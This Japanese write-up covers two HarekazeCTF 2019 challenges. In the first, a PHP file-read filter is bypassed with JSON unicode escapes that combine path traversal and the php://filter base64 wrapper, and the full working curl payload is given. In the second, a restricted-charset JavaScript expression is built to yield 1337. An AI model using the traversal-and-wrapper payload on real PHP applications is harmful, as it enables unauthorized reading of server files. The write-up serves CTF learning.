2019/05/18 ~ 2019/05/19に行われたオンラインCTF (https://ctf.harekaze.com/) のWrite-up。
Encode & Encode
スコアサーバの問題に添付されているDockerFileをみると、ファイルシステムの/flagにフラグが用意されていることがわかる。
与えられたソースコード (http://problem.harekaze.com:10001/query.php?source) を見る。
$body = file_get_contents('php://input');
$json = json_decode($body, true);
[..]
$page = $json['page'];
$content = file_get_contents($page);
このページはPOSTされたjsonを読み取り、たとえば{"page": "about.html"}
を受け取るとabout.htmlの中身を返すようになっている。
しかし、以下のソースより、パストラバーサル・ストリームラッパー・flagの文字列のいずれも挿入することができなくなっている。
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
ここで、実際にバリデーション (is_valid()) を呼び出している部分を見てみる。
if (is_valid($body) && isset($json) && isset($json['page']))
あくまでjson変換前の$bodyに対してバリデーションをかけ、jsonデコード後の連想配列にはバリデーションをかけていない。
JSONのRFCによると、\u0000形式のユニコードエスケープが可能であるため、これを使用することを目標にする。
ほしいのは/flagであり、DockerFileからサーバのroot directoryは/var/www/htmlであることがわかるので、以下のJSONを送れば良い。
{"page": ".\u002e/.\u002e/.\u002e/fl\u0061g"}
これで、この文字列にバリデーションをかけても検知されないまま"../../../flag"
を記述できる。
また、ソースの最後に以下のコードがある。
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
せっかく/flagの中身を取得できても、結局ここの文字列置換で持ち出せないように対策されている。
これをかいくぐるためにbase64のストルームラッパーを用いる。
使い方は以前このブログで公開したので是非参考にしてほしい。
php://filter/read=convert.base64-encode/resource=../../../flag
このURIが組めればbase64に変換された状態で持ち出せるので、あとはバリデーションに引っかかるところだけUnicode変換すれば良い。(Unicodeデコードのスクリプトもこのブログにある!すごい!)
最終的にこのコマンドを叩けばFlagが落ちてくる。
curl -H "Content-Type: application/json" -d '{"page": "ph\u0070://filter/read=convert.base64-encode/resource=.\u002e/.\u002e/.\u002e/fl\u0061g"}' http://problem.harekaze.com:10001/query.php
[a-z().]
続いての問題は、問題名の通り[a-z().]の29文字だけで構成された200文字未満のJavaScriptを評価して1337を返すようにするもの。
実行環境はNode.jsだが、ソースコードを読むと、submitされたコードはvm.runInNewContext()
で実行されるため、Node.jsに標準で用意されているmoduleなどを使用することはできない。
プレーンなJavaScript環境で使用できるのが確認できた変数やリテラルは以下の8つだった。
[true, false, console, null, undefined, eval, this, global]
他にわかったのは、eval.length
で1を生成できることや、eval.name
で"eval"
というStringを生成できること。
この辺りはひたすらMDNとNodeのREPLのタブ補完とのにらめっこだった。
Stringが使える、String.prototype.split()で配列が得られることが分かったあたりで方針が定まり、以下のコードを実現する作戦に出た。
eval([].concat(1).concat(3).concat(3).concat(7).join(""))
まずは空文字(“”)と空配列([])を得る方法だが、それぞれ以下のようになる。
eval.name.substr(eval.name.length) // => ""
eval.name.substr(eval.name.length).split() // => ['']
厳密には空配列ではないが、要はjoin("")
した時に余計なものが出なければいいので問題ない。
続いて1,3,7の数字を探す。
1は関数の引数の数、3と7は関数名の長さから得ている。
eval.length // => 1
eval.name.sub.name.length // => 3
eval.name.replace.name.length // => 7
出来上がったスクリプトは次のようになる。
eval(eval.name.substr(eval.name.length).split().concat(eval.length).concat(eval.name.sub.name.length).concat(eval.name.sub.name.length).concat(eval.name.replace.name.length).join(eval.name.substr(eval.name.length)))
ところがこれは200文字制限に抵触してしまう。
考えた結果、[].concat(1).concat(3).concat(37)
となる以下のスクリプトに切り替えた。
eval(eval.name.substr(eval.name.length).split().concat(eval.length).concat(eval.name.sub.name.length).concat(eval.name.sub().sub().sub().length).join(eval.name.substr(eval.name.length)))
string.prototype.sub()
は"text"
に対して"<sub>text</sub>"
を返すようなメソッドである。"eval"
にsub()
を3回実行することでちょうど37文字の文字列を得られることが分かった。
上記スクリプトをsubmitすることでflagが獲得できる。